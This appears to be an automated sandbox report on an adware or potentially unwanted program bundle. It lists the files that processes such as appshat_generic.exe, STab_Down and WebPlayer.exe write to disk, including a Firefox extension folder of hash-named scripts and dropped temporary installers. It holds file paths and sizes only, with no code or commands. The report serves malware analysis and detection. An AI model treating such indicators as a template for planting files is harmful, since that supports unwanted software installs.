C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\fc939b38977037006afcb94762ca271e.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\ef6f67b6f75d02f279b4fe7c049a50d2.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\9.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\skin.css (909 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\76db34acd3f225e0e364e0ce67e80ab5.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\6cdc90e0a599787eb3a434aad79dada3.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\32654288634bc44d9f935683639ea8fe.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\c3cef2dbf7e945435fa24787f5764bac.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\301.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\7edd666ba38ac7688f1d5a822e379d55.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\ffCoreFilesIndex.txt (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\c4e5df90034c33d6fa569c648db0b133.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\262.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button5.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\63dad1f556e89ca8bf036e36a6d8f7ad.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\2eadcde48d81fc5e3430857e5cce12fb.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\281.js (489 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\183.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\26dd333716a6b96fbf79139aa7336fe5.js (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\userCode\extension.js (358 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\184.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\182.js (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\253.js (741 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\options.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\panelarrow-up.png (921 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\180.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button2.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button3.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\f4ea0821df79fc355859f5a5d5e78d81.js (651 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\22.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\9003500e763c40c5746c05c45106e221.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\345.js (619 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button4.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\47a8bacb52b20804bbf9cd51d55ca2a1.js (28 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\browser.xul (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\21.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\4d2619b7686b1a089ea7f19bdf7543b1.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\195.js (414 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\b60b5a3e77ec6629e806cea4716eb900.js (134 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\220.js (1592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\b8e07b7bfe2135841c5006fe960dc45e.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\13.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\223.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\57dbba2164940fd8ffda2602575170db.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\104.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\2a90a25174da8dc0b06664412c699a77.js (618 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\fed3d18877a790d7dc337836c146ddad.js (964 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\1672ea0ccdd0b0bd9650031821ab8db0.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\f08bc8f6f7944070995fec72db18ba23.js (357 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\fa7e157f9a132d44dd9d7548e3e0a251.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\14.js (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins.json (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\16.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\defaults\preferences\prefs.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\463372090c86eb4a0361c433935e4ab1.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\0410705b2e34f89cec04cfe4e1f7aaad.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\200.js (813 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\eb6ad66dcd3e1616bd41e3d164ccce5a.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\207.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\92e18c245b5d94b6cd757ccaca5e05d8.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\6601426ee287f53dd998ed29e045f1b9.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\a8a0b904623b6d6a9773b53e27cb4ab9.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\102.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\373.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\246.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\242.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\91.js (6772 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\popup.html (353 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon16.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\e5b7ce52148490700523f36cd12325e5.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\17040b54ca1861ce1ef051e53c2fa12f.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\7be3de95a2d394fd6b4c6581fcbe0847.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\252.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\64.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\4.js (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\manifest.xml (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\78.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\47.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\options.xul (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\28.js (540 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\update.css (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\locale\en-US\translations.dtd (429 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\98.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\search_dialog.xul (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome.manifest (634 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\7.js (689 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\background.html (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\userCode\background.js (640 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\dialog.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon128.png (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\installer.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon48.png (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\61319d434ae10cfee318964f34581de6.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\09fedbba1c97fe93208ab1b20d6b29e0.js (947 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\17.js (2473 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\91cbc3fa2b90670f164f8228d3629242.js (7 bytes)

The process powershell.exe:2576 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\BO2DN8F6QQHD9BUFYXWJ.temp (196 bytes)

The process powershell.exe:1956 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XIB5IHW7LTXNPC3K3MKM.temp (196 bytes)

The process powershell.exe:3536 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\N54XUXM3075F7CL0WX2G.temp (196 bytes)

The process appshat_generic.exe:3424 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspD5C7.tmp\appshat.exe (13992 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\AppsHat Mobile Apps\Uninstall.exe (164 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspD5C7.tmp\webplayer_installer.exe (8184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspD5C7.tmp\inetc.dll (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\setup[1].exe (12408 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspD5C7.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspD5C6.tmp (10027 bytes)

The process HPNotify.exe:3644 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\conf (1498 bytes)

The process STab_Down_6.0.6.8.exe:3144 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\XTab_4.0.2.1716[1].exe (213505 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\tmp\XTab_v4.0.exe (45822 bytes)

The process cmdshell.exe:1872 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Windows\SysWOW64\789349.html (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\rebirth[1].htm (1 bytes)

The process WebPlayer.exe:3012 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\close[1].png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\e54e8c720dffffa619c3b0eacec9381a[1].png (3040 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\jquery-ui.min[1].js (126062 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\product[1].css (25 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\jquery.smooth-scroll.min[1].js (194 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\e94782c9200f8de809a50327879df1cc[1].png (19315 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\5.0stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\1f8ffa22b53dfc2f6b7f1850bb6b73e8[1].png (13705 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\c16ddcefe8d9f0d1f850dfcd8f36687d[1].jpg (3972 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\loading[1].gif (200 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\f3ad8b396434c21b4c214fd667ee391d[1].png (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\13ca8e322e15bc394d66a37bec12e3b4[1].png (27394 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\cc3148e57a2928cd1ada1bbea553c3c2[1].png (1160 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\7e5817bad781bbc2d2e43b350ccb53db[1].png (5642 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\da84c206c2019448521379d2ff837774[1].png (4648 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\analytics[1].js (17192 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\07fce0a4ff78cc7e6376e227f046ce06[1].png (37799 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\JJ8E6UGZ.txt (92 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\a6ae526a0a22dcfc743a66d44a3e09e3[1].png (29559 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\btn_bg[1].jpg (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\00c73f6d4e4eb25289dddb86e2d1e319[1].jpg (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\bbbde9554589bda63791709a6785e0a3[1].png (10360 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\lightbox[1].css (426 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\4f263f4be4c4396c9078d1874c05b928[1].png (6404 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\23428f8768d928d2bd45dd3b0c4d0057[1].png (19386 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\logo[1].jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\4.0stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\style[1].css (181 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\ddb3b88cf98eb0220c9e6c252e376749[1].png (13400 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\3YEwT2a1878zysq92S8_9w[1].eot (1831 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\59982d8527c0da41e35817e8fc15c0fc[1].png (4648 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\3.0stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\5dbc29649669598ff43174b9ee730008[1].png (2888 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\52d5414e7372639389ab7e9e4d479aee[1].png (21979 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\MZ3DHPII.txt (226 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\bg_main[1].jpg (200 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\b147a5a09b49b133d347bd975a4c5616[1].png (1160 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\a64a4b5c68c364d30083fbd0b0363585[1].png (24528 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\36d7cd00f07003a67021237993257d08[1].png (9755 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\9c161c623a389f1b32f42adac2cb466b[1].jpg (3496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\b85261679e262228a562f693b3e6ef6f[1].png (24370 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\6a12dc1a298e870b610a58a56ba0f5ec[1].jpg (584 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\13a052a6d8c62b7831aa10e2f6f37454[1].jpg (200 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\58d196b3e886a838d021adc8c8848f1e[1].png (1160 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\jquery.min[1].js (50478 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\config[1].json (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\scripts[1].js (25 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\4.5stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\7c9d412c730603d1d82b98a548a71bac[1].png (8048 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\589b1e936e1f038dc45bd8ffff59b359[1].png (18485 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\7d4f668f3d1818d01b6b9684b669d0db[1].png (6436 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\ac5196fbf245580eee113296dff14d0b[1].png (8840 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\f1ed3cd0cae7a3524376e6f9369c7ab8[1].png (5984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\d586df222f5069b6c396373d67d0163b[1].png (24704 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\3d8bbea6bcae57d705c676f7050a7d51[1].png (4648 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\0692c2494a7331a77c05954f79c5480a[1].png (8803 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\ace33f0a1eddf74bbe8d1bfac70deded[1].png (10360 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\f4e4b853ddab3b763f0af17d513631bd[1].png (22689 bytes)
